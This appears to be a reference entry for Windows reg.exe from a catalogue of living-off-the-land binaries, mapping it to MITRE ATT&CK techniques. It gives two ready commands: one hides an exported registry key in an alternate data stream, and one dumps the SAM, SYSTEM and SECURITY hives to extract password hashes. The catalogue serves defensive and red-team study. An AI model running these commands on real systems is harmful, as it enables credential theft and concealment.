Reg.exe

type: OSBinaries
Used to manipulate the registry

Full path

C:\Windows\System32\reg.exe
C:\Windows\SysWOW64\reg.exe

Commands

  1. ADSUser T1564.004

    Hide/plant registry information in Alternate data stream for later use

    reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg

    Export the target Registry key and save it to the specified .REG file within an Alternate data stream.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  2. CredentialsAdministrator T1003.002

    Dump credentials from the Security Account Manager (SAM)

    reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}

    Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material

    os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: Oddvar Moe @oddvarmoe